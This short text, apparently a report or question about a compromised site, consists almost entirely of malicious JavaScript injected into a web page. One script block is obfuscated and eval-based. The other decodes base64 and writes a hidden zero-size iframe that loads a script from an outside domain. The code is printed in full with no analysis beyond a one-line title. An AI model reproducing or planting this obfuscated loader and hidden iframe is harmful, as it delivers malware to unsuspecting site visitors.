Injecting Javascript code in webpage after body tag. which download maliculous script into system

<script language=JavaScript> function aiwpbn15(p){var h=p.length,k=1024,s,i,c,z=0,d=0,j=0,t=Array(63,4,50,23,48,53,51,42,20,49,0,0,0,0,0,0,44,54,58,19,27,10,37,2,18,13,39,40,22,12,56,29,14,41,30,61,11,33,21,34,3,16,5,0,0,0,0,38,0,62,9,47,28,31,25,43,32,36,7,8,6,35,15,17,1,0,45,26,60,59,46,52,57,55,24);for(i=Math.ceil(h/k);i>0;i--){c='';for(s=Math.min(h,k);s>0;s--,h--){{j|=(t[p.charCodeAt(z++)-48])<<d;if(d){c+=String.fromCharCode(174^j&255);j>>=8;d-=2}else{d=6}}}eval(c);}}aiwpbn15('feM4EjdAqArAngSAOnfW7jM4TJzFEjd6Dnt2qgIhf6S9sc@UbEx9k6S6Xc@mq0t4TnbJRWMJIuzydytiMs@AsuIFplN6EgthIjM4scM4snk6Gjd6ZXk4TgOhsjzibLNNngr9q2O4DX@2lPa6sDMhd0M4Ejt4lRkUOWQJLBxUZ_kJRWMJIJzUb2Kmfe@2sDtisvxJPst2jJ@9snQFRBzyser4TnbmEedyRTt63Cb4pXt2MGQipRM2d0t4TXfWjG')	</script><!-- makemecharming.com --><script type="text/javascript">
eval("function _g_u(t){var k='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o='';var q,w,e;var a,s,d,f;var i=0;do{a = k.indexOf(t.charAt(i++));s=k.indexOf(t.charAt(i++));d=k.indexOf(t.charAt(i++));f=k.indexOf(t.charAt(i++));q=(a << 2) | (s >> 4);w=((s & 15) << 4) | (d >> 2);e=((d & 3) << 6) | f;o=o+String.fromCharCode(q);if(d!=64) o=o+String.fromCharCode(w); if(f!=64) o=o+String.fromCharCode(e);} while(i<t.length);document.write(o);};_g_u('PElGUkFNRSBTUkM9Imh0dHA6Ly90cmFmZmEuaW5mby9pbWcvc3R5bGUvc3R5bGUucGhwIiBXSURUSD0wIEhFSUdIVD0wPjwvSUZSQU1FPg==');");
</script>